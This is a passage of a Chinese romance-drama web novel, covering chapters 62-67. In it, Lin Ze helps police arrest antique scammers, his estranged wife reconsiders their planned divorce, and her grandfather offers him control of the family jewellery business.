矮个子抓住吴庸死死地不撒手。 吴庸甩了几下胳膊,却无法挣脱。 于是,他直接看向周平方。 “姓周的,你找的这是什么人,他们是属疯狗的,逮谁都咬?” 周平方一怔,瞬间做出无辜的表情。 “吴先生,您在说什么,什么我找的人,我跟他们根本就不认识,你可不能冤枉人啊!” “冤枉你?你再说一遍我冤枉你?” 吴庸大口喘着粗气,死死地瞪着周平方。 现场乱成一团。 看到这幅情形。 老太太一阵眩晕,自然也明白了是怎么回事。 “够了!都走,你们这些人都给我走!” 强压着内心的怒火,老太太下了逐客令。 “他们不能走。” 林泽上前一步,直接站在门口的方向。 老太太疑惑,目光当中满是不解。 “怎么不能走,我现在一刻也不愿意看到他们,这些人都是骗子!” 看着张哥跟矮个子,老太太的情绪再一次激动起来。 “这两个人,的确的离开您的住处,但是得让张队带着走。” 此话一出。 老太太瞬间大惊。 没等她问出什么来,张军已经拿出手铐。 仅仅几秒,便把张哥跟矮个子全部铐住。 “你干吗,为什么要抓我,我又没犯法!” “是啊,你是警察就可以随便抓人吗?小心我告诉你!” “赶紧把我们松开!” 张哥刚刚把话说完,矮个子便开始跳脚。 相比之下。 矮个子显得更为激动。 张军冷笑。 “有什么话去警局说,交代不清楚,就在警局待一辈子!” 张军说话声音洪亮,一身正气。 矮个子看完瞬间发言。 旁边的张哥,眉头当场拧成一个疙瘩。 两个人都不敢再说话,只是不停地往墙角退。 这时候。 他们自然也不敢再提让吴庸赔钱的事。 “张警官,这是怎么回事,这两个人真的犯法了吗?” 周平方心中发慌,脸色也变得煞白。 张军转头,上下打量了一下周平方,笑容当中也多了一丝意味深长。 “有没有犯罪,他们心里比谁都清楚,你说是不是?” “我,您说笑了,我怎么知道,我们这些人一点都不熟,之前几次见面都是赵教授带着我一块去的。” “真的吗?”张军声音提高,“最好是这样。” “肯定是真的,如果他们真有什么事情,那我跟赵教授都是受害者,您可一定要维护我们的合法权益!” 说完。 周平方开始紧张地咽口水。 张军懒得理会这一切,朝着林泽这边走了两步,声音也变得缓和起来。 “老林,我带这两个人先走。” “有什么事情咱们电话联系。” “你跟你老婆一块回去。” 短短三句话,简单明了。 但最后一句,张军却是询问的语气。 林泽点头,“你忙你的,回头联系。” 张军又看向老太太,“赵夫人,人,我带走了,剩下的事情,还需要您看着处理。” 老太太跌跌撞撞,声音当中满是疲惫。 “张警官,今天的事情谢谢你们了。” “您不必客气,如果真要说感谢,你应该感谢林泽,如果没有他,估计你这300多万就打水漂了,我也得感谢他,要是没他,这人我也带不走。” 张军把话说完,意味深长地笑了笑,随即转身。 老太太等人还没缓过神。 张军已经带着人离开。 屋子里一下子变得安静。 除了吴庸倒吸凉气的声音以外,再也听不到其他。 唐若涵看向林泽,目光当中满是复杂。 张军刚才的话是什么意思? 林泽鉴定出登封窑白釉剔花执壶是赝品,这不假。 可是,没有林泽,为什么他带不走人? 唐若涵的目光停在林泽脸上。 脑海当中瞬间闪过刚才那一幕。 周平方跟吴庸争执不休之际,林泽好像对张军说了什么。 当时情况嘈杂,唐若涵并没有仔细听。 现在想想。 问题的关键应该就在那里。 “林泽,刚才,你帮着张队在破案是吗?” 心中实在疑惑不解,唐若涵抬眸询问。 林泽转身。 刚好遇上唐若涵的目光。 此刻。 唐若涵平静温婉,清澈眸子当中闪过丝丝疑惑。 哪里还有半分之前身上的疏离和冷漠? 她的神情,更像是需要解惑的孩童。 可林泽,又怎能将事实全盘托出? 林泽正在考虑找什么样的借口,老太太突然上前走了一步。 “林先生,太感谢您了!” 说着。 老太太弯下腰,竟然要给林泽鞠躬。 林泽眼疾手快一把将老太太扶住。 “赵夫人,您别这样,找我们过来,不就是想得到一个真相吗,我们的目的是一样的。” 此话一出。 老太太老泪纵横,“对,你是个好人,我相信你!” 唐若涵垂下眼眸,心中也产生隐隐自责。 师母的这番话,让她心中有愧。 如果没有赵教授的事情,林泽和师母之间不会有任何交集。 仅仅通过几次见面,师母就对林泽如此信任? 可自己…… 在同一个屋檐下生活了三年,自己对林泽最基本的信任都没有? 昨天谈到在饭店门口发生的事情,林泽那么气愤,其中,必定也夹杂着对自己的失望。 今天的事情让人意想不到。 昨天在警局,自己看到的会是真相吗? 一时间。 唐若涵陷入迷茫当中。 “哎呀,这血止不住啊!” 一声惊呼再次传出。 众人都顺着声音的方向望去。 目光又重新定格在吴庸那边。 叫声,是从吴庸手下的嘴里传出来的。 此刻。 吴庸屁股上,已经被血浸湿了一大片! 唐若涵一脸焦灼,迅速跑到吴庸身边。 “你出血太多了,需要马上去医院!” “小涵,谢谢你……这个时候还想着我。” 吴庸心中一阵感动,虽然疼痛连连,可还是含情脉脉地望着唐若涵。 “别说那么多了,赶紧让你的人带着你去清理伤口,时间一长,感染了就麻烦了!” 吴庸一愣。 “你不陪我去医院吗?” 第一卷 第63章 唐老爷子,来电话了! 吴庸声音虚弱,面色苍白。 目光当中,夹杂着一丝询问。 唐若涵抬眸。 瞬间看到吴庸脸上的旧伤。 昨天,林泽跟他起了冲突,导致脸部受伤。 虽然医生说不需要住院,可现在,吴庸的鼻子依旧肿得老高。 细看之下。 吴庸的样子有些滑稽,可唐若涵却笑不出来。 今天发生的事情,像一块石头一样压在她的心上。 “还是让你手下的人陪你去医院吧,我在这里多待会儿,陪陪师母,顺便打扫一下房间。” 唐若涵说话声音很轻。 但语气当中满是拒绝。 刚才那一幕让人心惊胆战,唐若涵更加后怕,得亏林泽在这里,否则,后果不堪设想。 周平方一直在讲那两个人给便宜了20多万,吴庸带来的人,又口口声声说那是正品。 如果林泽和张军不来,师母十有八九是要掏钱的。 唐若涵不敢接着往下想,脑袋几乎也乱成一团。 “可是,小涵,这些人严重失职,他们已经不是我公司的员工了,刚才我就已经开除他们了!” 吴庸还想争取什么,唐若涵脸上露出不耐烦的神情。 “那你就自己想办法!” 说着,唐若涵直接转身,重新走向老太太的身边。 “师母,您怎么样,要不要回房休息一会儿?” 老太太一脸疲惫,可还是摇了摇头。 “没事,我在这做一会就行。” 刚才走的时候,张军带走了那两个人的手提包。 可地上,还有一部分瓷器碎片。 望着满地狼藉,老太太心中五味杂陈。 周平方赶紧走到一旁,再次回来时,手里已经多了笤帚跟簸箕。 当着众人的面。 周平方开始打扫卫生。 吴庸见状,也不好再说什么。 “那,我就先去医院,我在过来看你们。” “不用了,你好好休息,有什么事情我再给你打电话吧。” 说话的是老太太,语气淡淡的。 吴庸心中一沉。 今天这事儿,办得真是窝火。 本来想着,在老太太跟唐若涵面前好好表现一番。 可谁成想,真是搬起石头砸了自己的脚! 这时。 疼痛再次从吴庸的屁股处传来。 吴庸咬咬牙,终于从喉咙里挤出一句,“好,那我先去医院,师母你保重。” 说完。 吴庸一瘸一拐地离开。 刚刚带来的几个人,也灰头土脸地跟上。 几分钟过后。 老太太打发走了周平方,又对着林泽说了一句感谢的话,这才让他们离开。 …… “林泽,你真的会破案?” 副驾座上,唐若涵认真审视着林泽。 “不会。” “可很多案子都是因为你才找到了线索,警局的人都是这么说的。” 唐若涵又说了一句。 显然。 对于林泽刚才的回答,康若涵并不满意。 而且,她还大有一副打破砂锅问到底的架势。 林泽依旧否定。 “警局破案都是团体协作,尤其是那些重大案件,仅凭几个人不可能破获。” “之前,有几个案子我确实有参与,不过我也就是说出了几个疑点,大家顺着方向往下查,案子才破了。” “大家都习惯那么讲,其实,我没那么大本事。” 唐若涵半信半疑,事实真的是林泽说的那样吗? 如果只是说了几句话,警局那些人看林泽的眼神,怎么会如此敬佩? 但林泽说的,也不是没有道理。 要说他一个人破获了案子,那也不可能。 毕竟。 林泽不是专业的破案人员。 “可今天,你说的文物解析,真的非常透彻,那番话听起来,就像是专业的文物收藏者的言论。” 想想刚才林泽反驳时的情形,唐若涵心中突然一动。 当时。 林泽的沉着,稳重,以及有条不紊的话术,简直太震撼了。 直到现在,她都记忆犹新。 “平常没事的时候,我会翻一些书看看,可能看到那些知识用上了吧。” 唐若涵眉头微皱。 别墅的那个书房,林泽确实经常去。 这也是经过她同意的。 林泽每次看完书以后都会将其放回到原处,如果不是有几次亲眼所见,唐若涵真不相信,林泽已经看过那些书了。 “唐总,现在可以发动汽车了吗?” 见唐若涵不说话,脸上依旧若有所思。 林泽为了避免继续讨论刚才的话题,干脆主动询问。 唐若涵缓过神。 “好。” “唐总要去公司吗?” 启动汽车的同时,林泽又问了一句。 “回别墅,这个时候苏晴应该起来了。” 林泽一怔。 如果不是唐若涵提起,他还真把苏晴给忘了。 早上出门的时候,林泽说好了苏晴的那一份早餐,并且在餐桌上留下了纸条。 苏晴醒了以后,应该能够看到。 而依照苏晴的性格,她肯定会把早餐吃得一点都不剩。 回去的路上。 两个人都不再说话。 林泽专注开车。 唐若涵眉头微皱,时不时地翻阅一下手机。 “微电影创新思路。” “微电影如何确定主题。” “怎样提高微电影的情绪价值。” 随便翻了几篇稿子,唐若涵干脆把手机放到包里。 那些文案及办法,全都大同小异。 文章中所提及的那些,对于眼下的闪创没有丝毫帮助。 甚至。 现在,唐若涵对吴庸也没有抱太大的希望。 当初他信誓旦旦地讲,一定会帮闪创渡过难关,现在看来,估计也就是当时的心血来潮。 唐若涵伸手揉了一下太阳穴,可头依旧隐隐作痛。 本以为。 三年期限马上就要到了,眼下,应该是她最放松的日子。 可没想到,这几天的事情接二连三,每一件都让她耗费心神。 甚至。 直到现在。 她跟林泽的结婚证以及户口本,依然还在父母的手上。 没有这些证件,就算她跟林泽想离婚,估计手续都办不成。 一想到这些。 唐若涵的太阳穴都开始突突地跳。 突然。 一阵突兀的铃声传来。 瞬间打破汽车里的安静。 唐若涵眼眸微眯,有些烦躁地拿起手机。 这时候。 最怕手机响了。 要么是吴庸的电话。 要么,就是公司那边的状况。 无论是哪一个,都让人高兴不起来。 唐若涵甚至想着。 一会接通电话后,简单地敷衍几句便挂断。 可看清楚手机屏幕上的电话号码时,她的眼睛瞬间睁大。 “爷爷”两个字,在手机屏幕上异常清晰。 几乎在看清楚来电显示的同时,唐若涵迅速按下接听键。 第一卷 第64章 他们,也来了? “爷爷,有什么事吗?” 一改以往的冷漠,唐若涵的语气当中竟然还带点撒娇的意味。 电话那端先是传来笑声,随后才宠溺地说道:“小涵,最近是不是很忙,你可是有一阵子不来看爷爷了。” 一丝歉意出现在唐若涵脸上。 的确。 最近忙着计划离婚的事情,公司那边也有一些突发状况,现在想想,她确实有几天没有去看过爷爷了。 “爷爷,都是我的疏忽,回头有时间了,我就过去看您。” “回头?”老爷子声音当中闪过一丝不悦,“回头是什么时候,要我看,不如现在就过来,我让刘妈给你准备了好吃的,就现在吧!” 唐若涵略作思考,“好,那我现在就过去。” “对了,别忘了跟林泽一块过来,爷爷等着你们。” “好的爷爷,那没有其他的事情,我先挂了。” “好,路上小心些。” 缓缓放下手机,唐若涵转头看向林泽。 “掉头,去爷爷那边。” 车内很安静,刚才林泽已经听到电话内容。 所以没等唐若涵开口,林泽便已经有了心理准备。 唐老爷子都发话了,唐若涵肯定是要去看他的。 身为唐家的一家之主,唐伯卿虽然上了年纪,没有绝对的话语权。 甚至。 直到现在,唐伯卿都没有把手里的产业交给唐英豪。 自从跟结婚以后,唐若涵跟林泽便搬出去。 对于唐家的事情,林泽很少打听,也从不过问。 但是。 唐若涵跟唐伯卿之间的事情,林泽还是知道一些的。 唐伯卿器重唐若涵的程度,已经超过了唐英豪。 甚至,在一次吵架当中,唐伯卿直接声称,要把整个家业交给唐若涵打理。 虽然这件事情没有什么后续,可着实让唐英豪着急了一阵子。 唐若涵跟爷爷的感情,也早已经超过了唐英豪夫妇。 唐家主要经营珠宝,但唐若涵却创建了闪创影视传媒,估计这次过去,老爷子肯定又要说,让唐若涵接手唐家业务这件事。 林泽一边开车,一边闪过关于唐家的种种信息。 脸上却什么也没有表现出来。 还有几天,合约的日子到了,他跟唐家的一切,都不会再有任何关系。 所有这些,也都会成为过往。 林泽已经想清楚。 三年当中,唐英豪和周美珊对他都非常客气,即便以后离婚,他也会对他们夫妇二人保持敬重。 至于唐若涵,三年时间已到,林泽认为履行了合约,离婚后,自然也不会有什么交集。 而对于唐老爷子,林泽还是有几分不舍的。 自从爷爷出车祸,很多时候都是昏迷状态,林泽自己也清楚,有不少时候,林泽把对待爷爷的那份感情,也转嫁到了唐老爷子身上。 再次想到唐老爷子,林泽思绪也戛然而止。 “唐总,唐老先生喜欢吃荷花酥,要不要去前面买一些?” 如果只是林泽一个人过去,他必然是要在“兴安斋”买些荷花酥过去的。 但是现在,唐老爷子的电话是突然打来的,林泽不确定唐若涵具体的时间安排。 眼看就要到“兴安斋”,所以林泽便问了一句。 “买一些吧,谢谢你提醒我,刚才我还真没想到这些。” 唐若涵抱歉的笑笑,再次手扶额头。 “最近,事情有点多。” “知道了,唐总,您也要好好休息。” 说话间。 林泽将车右转,很快在“兴安斋”门口停下。 将车停好,林泽去买糕点。 唐若涵则是继续留在车上。 望着林泽的背影,唐若涵微微蹙眉。 林泽,是一个井井有条的人吧! 在这三年里,他不仅清楚自己的喜好,还记得每个家人的口味。 爷爷喜欢吃兴安斋的荷花酥,林泽记得非常清楚。 “荷花独美,出淤泥而不染。” “荷花酥层次分明,吃起来香甜酥松,别有一番风味。” “好吃,还好看,这是视觉跟味觉的双重享受。” 每次看到各种颜色的荷花酥,爷爷都会忍不住赞赏。 而一想到每次带回去的荷花酥都是林泽买的,唐若涵便感觉有些羞愧。 自己这个亲孙女,还不如林泽照顾爷爷照顾得周到。 不知不觉中。 唐若涵想到林振山,想到林泽小心翼翼地照顾林振山的情形。 随即。 思绪一转。 唐若涵的目光也变得清澈。 “这样的人,会做出勒索人的举动吗?” “砰!” 后备箱关闭的声音传来,接着,林泽上车。 “唐总,荷花酥买好了,现在就可以去唐老先生那里。” “好。” 唐若涵垂眸,纤长睫毛微颤。 刚才的想法,愈发强烈。 …… 东海郊区。 唐家别墅。 自从唐若涵创建自己的公司以后,唐伯卿便搬到这里居住。 别墅面积不算太大,装修得简洁精致。 尤其是别墅的花园,很多花草都是唐伯卿亲自打理。 汽车还没开进别墅,林泽便看到唐英豪的汽车。 同时。 唐若涵也一愣,语气当中满是疑惑。 “爸妈也在?怎么这么巧?” 平常的时候,父母很少来爷爷这里,今天到底是凑巧了,还是爷爷见到他们来了,才找她跟林泽过来? 眼看林泽已经将车停下。 唐若涵干脆也不再多想。 反正都已经来了,是怎么回事,一会就知道了。 二人刚刚走进院子。 正好看到唐英豪从别墅客厅出来。 唐英豪五十来岁,身体已经有些发福。 五十多岁的男人眼角已经有了皱纹,可由于保养得当,跟同龄人相比,自然显得年轻了一些。 唐若涵朝周围看了看,想寻找周美珊的身影。 这时。 唐英豪抬头,装作不经意地问:“小涵,你今天也来看爷爷,真好,我们都凑到一块儿了。” 想起之前跟父亲的争吵,唐若涵脸上略显尴尬。 “对,今天过来看看,爷爷呢?” “正在花园鼓捣那几棵桂花树,要不要我跟你一块过去?” 唐英豪快走几步,还没来到唐若涵跟前,便已经听到唐若涵拒绝的声音。 “不用了,我跟林泽去找爷爷就行。” 说话时。 唐若涵低着头,刻意不去看唐英豪的眼睛。 不想跟父亲在一块,其实也是有原因的。 盼了三年,离婚的日子马上就要到了,可是父母那边又要反悔。 这一次。 唐若涵不想妥协。 偏偏父母态度又很坚决。 当着爷爷的面,唐若涵不想吵起来。 所以,还是能避开就避开吧。 “也好,你跟爷爷多聊聊。” 唐若涵没说话。 林泽对着唐英豪点点头,随即也走向后花园的方向。 …… 不远处。 石子小路边。 唐伯卿拿着铁锹,正在给一棵桂花树松土。 阳光透过树叶,洒在他的背上,明亮柔和。 “爷爷!” 唐若涵轻叫一声。 唐伯卿随即转身。 第一卷 第65章 你的爱,太狭隘了。 “过来了?” 唐伯卿面带喜悦,笑着看向唐若涵,可看到林泽拿着兴安斋的荷花酥,声音瞬间提高,“林泽,这次过来,带了几种颜色的荷花酥?” 林泽一怔,当即回答。 “爷爷,这次有经典款的黄色和粉色,另外,兴安斋上了新品,是豆绿色的。” “是吗,赶紧拿来看看。” 不等林泽走近,唐伯卿已经把铁锹靠在一旁,匆忙迎过来。 嘴里还不停地叨念。 “豆绿色好,让我看看是绿幕隐玉,还是春柳?” “爷爷,您说的是牡丹的品种,可不是荷花酥的颜色。” 林泽当场纠正。 唐伯卿摆摆手,“天下豆绿都一样,只要不是绿香球,就全都好看。” 讨论起荷花酥来,唐伯卿高兴得像个孩子。 看爷爷如此开心,唐若涵脸上的神情也放松很多。 一时间。 唐若涵竟分不清楚,爷爷高兴的原因究竟是因为林泽手里的荷花酥,还是因为林泽的到来。 突然。 唐若涵眉头一蹙,清澈眸子中也夹杂了一丝怀疑。 爷爷刚才说,这次过来,是什么意思? 距离上次他跟林泽过来,已经有一段时间,难不成,在这段时间里,林泽单独过来看过爷爷? “小涵,别站在那里,外面热,进屋说话。” 唐伯卿再次对着唐若涵招手。 唐若涵急忙点头,随后跟着唐伯卿来到花园旁边的平房前。 这一排平房,是后来修建的。 为的是让唐伯卿在花园里临时休息。 可后来管家跟他们说,老爷子对这排平房的喜爱程度甚至都超过了别墅。 用唐老爷子的话说,那便是跟这些花花草草在一起,更接地气。 进屋后。 林泽扶着唐伯卿坐下。 唐伯卿却没有松开林泽的手,望着林泽的目光更加慈祥。 “最近怎么样,又看了什么书?” “爷爷,最近一直在看宋代瓷器,其他的没怎么翻阅。” “好啊,宋代瓷器有着独特的釉色之美,不同于唐三彩那样华丽浓艳,虽然只是单色釉,但本身特有的那种天然韵味,是其他朝代的瓷器无法比拟的。” 说着,唐伯卿眼眸微眯。 “万物皆有理。” “须穷究……事物本质。” 林泽轻声接上。 唐伯卿笑得眼睛都眯成一道缝。 “好,你这一句说出来,爷爷便能确定,最近这段时间你没有偷懒!” 林泽跟着笑起来,神情从容淡定。 对面。 唐若涵直接惊呆。 爷爷跟林泽之间的谈话如此自然,明明是在唠家常,可她为什么插不上嘴? 刚才的牡丹品种,现在的宋代瓷器,甚至连理学思想都说出来了。 简单几句话,究竟蕴含了多少知识? “光顾着说话了,口都有些渴了,林泽,你去客厅那边,把我的茶叶拿来。” “好的爷爷,我现在就去。” 林泽说完,当即转身。 看看林泽背影消失,唐伯卿对着唐若涵摆了摆手。 “爷爷。” “你坐下,我们聊一聊。” 再次开口,唐伯卿声音当中已经夹杂些许严肃。 猛然间。 唐若涵的心莫名地一紧。 爷爷要说的,难道是…… 还没来得及往下想,唐若涵便听到唐伯卿咳嗽了一声。 “爷爷,您没事儿吧?” “没事,小涵,你跟林泽……闹别扭了?” 唐若涵瞬间垂下眼眸。 真是怕什么来什么。 爷爷要说的事情,果然是关于她跟林泽的。 同时。 唐若涵似乎又想明白了什么? 刚才在客厅看到父亲,现在爷爷又提及离婚的事,显然,是父亲找爷爷来做说客的。 略作沉思。 唐若涵抬眸迎上唐伯卿的目光。 “爷爷,我跟林泽,不合适,我知道林泽人挺好的,可是我不爱他。” “一辈子很长,我不想这样凑合下去。” “我跟林泽也商量好了,林泽也是这个意思,我们都尊重彼此的选择。” 唐若涵把话说得很轻,尽量表现出很自然的样子。 可对面。 唐伯卿的脸色越来越沉。 “小涵,你长大了,有自己的思想,爷爷很欣慰,可是,像林泽这样的人,已经不多了。” “他孝顺,贴心,正直,品行端正,你当初要找的理想对象,不正是这个样子的吗?” 唐若涵眉头紧皱,咬紧嘴唇没说话。 很早以前,唐若涵曾经跟唐伯卿讨论过结婚的事情。 当时的情形,直到现在,唐若涵都还记得。 那时候。 唐伯卿坐在藤椅上,她就坐在爷爷身边。 问起对未来丈夫的标准时。 唐若涵回答得非常坚定自信。 “我以后要找的男人,必定是要品行端正的,正直,贴心,还要孝顺!” 当时。 爷爷听完也很欣慰,甚至还夸她不以貌取人的思想非常好。 后来。 唐若涵慢慢接受了吴庸。 再后来。 她又在父母的强迫之下跟林泽结婚。 在这三年里,唐若涵一直认为林泽是她感情世界的破坏者。 可爷爷的这番话,怎么兜兜转转又到了林泽的身上? 她跟林泽明明就要结束了,怎么林泽反倒成了她要找的人? 不! 不能这样! 脑海当中闪过这个想法,唐若涵的目光也变得坚定。 “爷爷,我承认林泽不错,可是,我不爱他!” “爱不仅是心潮澎湃,更是细水长流,你眼里的爱,还是有些狭隘了。” 唐若涵一时语塞。 竟然不知道该说什么才好。 这时。 唐伯卿的声音再一次传来。 “小涵,你很优秀,但林泽也是一个好孩子,你们两个人在一起很合适。” “三年都过来了,你们对彼此也应该很了解了,正常的夫妻都会闹矛盾,有了矛盾就要解决,不要想着放弃。” “也许,眼下的问题是老天对你们的考验,你现在要做的,是如何完成考验,而不是半途而废。” 说完最后一句,唐伯卿伸手拍了拍唐若涵的肩膀。 “小涵,能不能答应爷爷一件事?” 迎上唐伯卿郑重的目光,唐若涵再次紧张起来,就连声音都开始变得不自然。 “爷爷,您说。” “跟林泽,不要离婚,认真过下去。” 此话一出。 唐若涵瞳孔瞬间收紧。 要完成爷爷的这个请求,对于她来说,付出的代价太沉重了。 同时。 门口处。 林泽拿着一罐茶叶。 刚想要抬脚迈进,瞬间愣在当场。 房间一片尴尬。 就连空气,仿佛也停止流动。 “爷爷,茶叶拿来了。” 为了打破僵局,林泽边走进来,边故作轻松地说出一句。 第一卷 第66章 让林泽接管企业?不! 唐伯卿似乎看出林泽的用意,意味深长地笑了笑。 “好,人老了,对待各种东西也都开始偏爱了,没有这口茶,感觉生活都索然无味,等你们到了我这个年纪就明白了。” 唐伯卿话里有话。 像是在说茶叶,又像是在劝唐若涵。 林泽看了看唐若涵。 此刻。 她正低着头,像是在思考什么。 而唐伯卿也不需要唐若涵当场给出答复,这种事情,必然是需要时间来考虑的。 所以,再次抬起头来,唐伯卿开始说另外一件事情。 “林泽,最近怎么回事?看你都瘦了,年轻人太瘦了不好看,没有安全感。” 林泽将茶叶罐放好。 “爷爷,我试着减肥。” “减肥?”唐伯卿提高声音,“你这身材已经够好了,不需要减肥!” 看到唐伯卿认真审视起自己,林泽目光当中闪过一丝慌乱,“好,那就听爷爷的,不减肥了。” 唐伯卿却在心中暗自叹气。 他们小两口,肯定是这段时间闹别扭了,唐若涵从小被他惯坏,脾气大,受委屈的就是林泽了。 休息不好,心情不好,不瘦才怪? 缓缓站起身,唐伯卿亲手泡茶。 一边拿起茶具,一边装作不经意地问起唐若涵公司的状况。 唐若涵一一作答。 只是没有把目前公司的困境说给唐伯卿听。 很快。 房间里茶香四溢。 只可惜。 一壶茶还没有喝完。 门口便响起脚步声。 “爸,怎么在这儿喝上茶了?饭已经做好了,就等着您老人家过去了。” 看到林泽和唐若涵都坐在父亲对面,唐英豪先是一愣,接着才想起来这里的目的。 唐伯卿放下茶杯,语气平静。 “饭做好了?” “已经摆上桌了。” “小涵爱吃的那些,都摆上去了?”唐伯卿又问。 唐英豪点头,还没开口说话,身后的周美珊已经笑着解释。 “爸,您交代的事情我们肯定不会忘,您放心吧,小涵爱吃的那几样菜,一样都不缺。” 今天。 周美珊妆容精致,平日散落在肩头的长发也挽成了发髻。 旗袍裁剪合体,蓝白配色,极其经典的青花瓷图案。 脸上也施了淡淡的妆,脖子上戴的是白珍珠项链,一对珍珠耳环又与旗袍上的盘扣相呼应。 整个人看起来优雅柔和,又不失华贵。 尽管夫妻二人极力表现,但唐伯卿也只是淡淡地看了他们一眼,语气依旧如初。 “那就去吃饭吧!” 见老爷子发话,唐英豪赶紧上前搀扶。 唐伯卿没有拒绝,可脸上,早已经没有了见林泽和唐若涵时的那股热情。 …… 饭桌上。 唐伯卿特意让林泽挨着自己坐下。 另外一边是唐若涵。 而唐英豪夫妇,只能坐在唐伯卿的对面。 对于这样的座位安排,唐伯卿好像非常满意。 桌子上摆着几个圆盘,上面的绿色蔬菜上还带着水珠。 看到这几样菜,唐伯卿脸上露出喜色。 “你们尝尝这个,这可是我小菜园里现摘的。” “顺季节的蔬菜,最佳的赏味期,最佳的部位,才是有市无价。” “就像瓜,熟了是很难运输的,能够运到的,全都是七八分熟就摘下来,那种成熟的醇香,根本吃不到。” “有一种葡萄,薄皮,青色,要在霜降以后吃,从摘到吃,只有两个小时,否则水分会流失。” 听着唐伯卿讲解,唐英豪脸上露出受益匪浅的表情。 “爸,这段时间不见,您对吃的可真有不少讲究了。” 唐伯卿放下筷子。 “老了,对公司的事情也力不从心了,开始研究如何养生。” 此话一出。 唐英豪心猛地收紧,手也不由得颤抖了一下。 旁边。 周美珊深吸了一口气。 老爷子,终于说出这种话来了! 只要他自己承认老,那就意味着,唐家的产业要交到他们手上了! 周美珊脸上没有表现出什么来,可自从她嫁到唐家开始,已经盼着这一天的到来。 今天。 愿望终于将要实现! “爸,您还不老,养生这个话题现在说出来还早了一些……” 桌子底下。 周美珊轻轻抬脚,偷偷地碰了一下唐英豪的腿。 唐英豪尴尬的笑笑,说了一半的话,没有再继续说下去。 唐伯卿装作什么都没看到,转头看向林泽。 “林泽,你怎么样了?这三年里,一直在照顾小涵,你对她的这一份心,我都懂。” “但是,男人终究还是要有一番自己的事业的,家里的生意也需要人接手。” “我看择日不如撞日,不如,今天下午,你就去总公司那边看看吧,了解一下集团的业务,接手的时候,也不至于太生疏。” 林泽抬头,当场愣住。 “爷爷,您……说什么?” 对面。 唐英豪猛地站起身,脸上满是不可置信。 “爸,您的意思是,让林泽接管企业!” 两个人几乎是在同一时间开口。 “啪嗒“一声。 周美珊的筷子掉了。 唯独唐若涵脸上的表情没有那么惊讶,显然,她还没有反应过来。 “不用这么慌张,英豪,跟这些年轻人相比,我们的思想确实有些落伍了,不如直接让他们上手。” 唐英豪瞪圆眼睛,嘴巴张了张,最后一句话也没有说出来。 有些话,说出来是大不敬。 可是。 话却不是那么说的。 唐英豪承认,现在,他的想法的确没有年轻人那么有新意,可是作为公司的领导者,他完全不用绞尽脑汁的去想那些。 他有执行力就行了! 况且。 老爷子现在多少岁?他才多少岁? 怎么一句话,就把他归纳到风烛残年的行列里头去了? 唐英豪心中苦闷,却无法说出来,只好重新坐回到椅子上。 周美珊努力装出一副平静的模样。 手垂在桌子下面。 握紧的拳头里,掌心都开始冒汗。 本以为水到渠成,瓜熟蒂落。 没想到。 瓜,落到林泽那边去了! 林泽不能跟唐若涵离婚,可是,他也不能插手唐家的家务事! 这一点。 绝对不能改变! 屋子里突然静得可怕。 一时间。 所有人的目光都停在林泽这边。 抬眼看了一下四周,最后林泽看向唐老爷子。 “爷爷,谢谢你对我的信任,只是,我不能接受集团那边的事务。” “为什么!” 唐伯卿声音陡然增高! 第一卷 第67章 唐家人真让你那么失望吗? 林泽想告诉唐伯卿,他马上就要跟唐若涵离婚了。 可话还没说出来。 唐英豪便重重地咳嗽了两声。 “啪!” 唐伯卿重重地拍了一下桌子。 碗筷都随之一震。 “唐英豪,收起你那些小动作,我想听林泽的想法!” 唐伯卿说话的声音并不大,可语气当中威严十足。 唐英豪脸色瞬间泛白,急忙低下头。 重新看向林泽,唐伯卿目光当中满是不解,可脸上的神情已经缓和很多。 “林泽,我知道,这三年你过得并不开心,可是唐家人,真的让你那么失望吗?” “不是的,爷爷,我一切都挺好的,您别多想。” 林泽说出来的这一番话,虽然安慰唐伯卿的成分占多数,但有一点却是非常肯定的,他不想让老人家跟着操心。 唐伯卿仿佛也看清楚林泽的想法,当众叹了一口气。 “这件事情,我提前没跟你们商量,也是我考虑得不周到了,就像我跟小涵说的事情,都不着急做答复,我给你们一些时间考虑。” 说完。 唐伯卿重新拿起筷子,“吃饭吧。” 看到这幅情形。 唐英豪和周美珊虽然疑惑,却也不敢再说什么。 “小涵,这是你喜欢吃的糖醋里脊,多吃些。” “好的,爷爷。” “林泽也多吃点,都瘦了。” 唐伯卿一边说,一边给林泽和唐若涵夹菜。 对于对面的儿子和儿媳妇,他好像并没有顾及二人的感受。 唐英豪和周美珊如同嚼蜡。 有了老爷子之前的那一番话,即便山珍海味,也都索然无味了。 临近结束,唐伯卿突然又清了清嗓子。 “还有一件事,昨天沈家人送来请柬,想让小涵跟林泽去沈家做客,我本想拒绝,但沈老爷子亲自打电话过来,我想着,明天你们还是去一趟为好。” “沈家人?爸,西城沈家?” 唐英豪皱紧眉头,不解地问出一句。 唐伯卿嗯了一声。 “咱们在东城,虽然跟沈家做的都是珠宝生意,可业务上,一向井水不犯河水,基本没什么往来。” “这一次,沈老爷子亲自打电话,我也不好驳了他的面子。” “时间是明晚六点,沈老爷子亲设的家宴。” 沈家人打来电话邀请林泽和唐若涵,唐英豪已经不解。 又听说是沈老爷子亲设的家宴,唐英豪的下巴都要掉到地上! 要知道。 家宴可是接待客人的最高规格! 林泽和唐若涵,在沈老爷子看来只是晚辈,他们怎么能有这么大的颜面? “小涵,究竟是怎么回事?” 唐英豪的目光放在唐若涵身上。 唐若涵摇摇头。 “爸,我也不清楚。” 说完,唐若涵看向林泽。 现在。 能够解释清楚整个事件的,恐怕只有林泽本人了。 目光停在林泽脸上,唐若涵脑海当中闪过的,却是当初在赵家别墅那一幕。 沈平韵客气的神态,即对林泽的恭敬,直到现在,唐若涵都记得清清楚楚。 当时。 唐若涵只听到沈平韵请林泽借一步说话。 至于后来他们说了什么,唐若涵并不知晓。 唐家的珠宝生意跟沈家没有来往。 她的闪创传媒,就更不用说了。 唯一的交集,就是林泽。 唐若涵还在愣神,唐英豪的声音再次传来。 “不清楚就算了,反正去了以后就知道了。” “爸,我和林泽,必须要去吗?” 唐若涵目光躲闪,语气也有些磕绊。 唐英豪眼神当中瞬间闪过一丝凌厉。 “当然要去,这关系到唐家的颜面!” “长辈亲自邀请晚辈,而且电话还打到了你爷爷这里,你若不去,岂不是连你爷爷的颜面都拂了!” “这么大的人了,怎么连这么简单的道理都不懂?” 唐英豪隐隐怒火几乎要喷出来! 可当着老爷子的面,他又不得不压低声音。 这种憋屈的状态,几乎让他崩溃。 周美珊见状,轻声劝慰,“小涵,听爷爷的话,跟林泽一块儿去!” 唐若涵虽然不情愿,可还是点点头。 